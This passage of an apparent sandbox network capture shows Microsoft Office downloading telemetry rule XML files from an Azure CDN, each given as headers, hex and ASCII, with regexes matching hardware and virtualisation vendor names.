R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.7	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:59 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:59 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:59 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 63276110-f01e-0052-4095-479224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145259Z-1746fd949bdnq7x2hC1EWRpxr0000000046g00000000bfd4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:59 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.7	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:59 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:00 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:00 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 68175a90-d01e-0065-3ed1-45b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145300Z-1746fd949bdmv56chC1EWRypnn00000004dg00000000ku1z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:00 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.7	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:00 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:00 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:00 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 6461e617-d01e-007a-6f60-47f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145300Z-1746fd949bd5gpk5hC1EWR8dk400000002200000000015zg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:00 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.7	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:00 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:00 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:00 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: bcf9f347-101e-007a-60d2-45047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145300Z-1746fd949bd4w8sthC1EWR7004000000044000000000adx7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:00 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.7	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:01 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:01 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:01 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 2aa810bc-801e-008f-63c1-452c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145301Z-1746fd949bd9x4mhhC1EWRb76n00000004f0000000005c2w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:01 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.7	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:01 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:02 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:01 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 26f79bf1-901e-0083-7ec4-45bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145301Z-1746fd949bd9x4mhhC1EWRb76n00000004b000000000hkex x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:02 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.7	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:02 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:02 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:02 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 0312aba8-e01e-0085-12cc-45c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145302Z-1746fd949bdlqd7fhC1EWR6vt000000004hg00000000952c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:02 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.7	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:02 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:02 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:02 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 5e84b1af-e01e-0071-205c-4708e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145302Z-1746fd949bdlnsqphC1EWRurw0000000047g00000000a9n5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:02 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.7	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:02 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:02 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:02 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 1e2c2913-401e-0078-28cc-454d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145302Z-1746fd949bd4w8sthC1EWR7004000000045g00000000685f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:02 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.7	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:03 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:03 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:03 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 85a1d3f6-901e-005b-3ecd-452005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145303Z-1746fd949bd9x4mhhC1EWRb76n00000004d000000000cka0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:03 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.7	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:03 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:04 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:04 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 859f66ca-901e-005b-0ccc-452005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145304Z-1746fd949bdzd2qvhC1EWRcygw00000003z000000000m403 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:04 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.7	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:04 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:04 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:04 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 72953a3b-301e-0000-41cd-45eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145304Z-1746fd949bdjrnwqhC1EWRpg2800000004bg00000000hsu2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:04 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 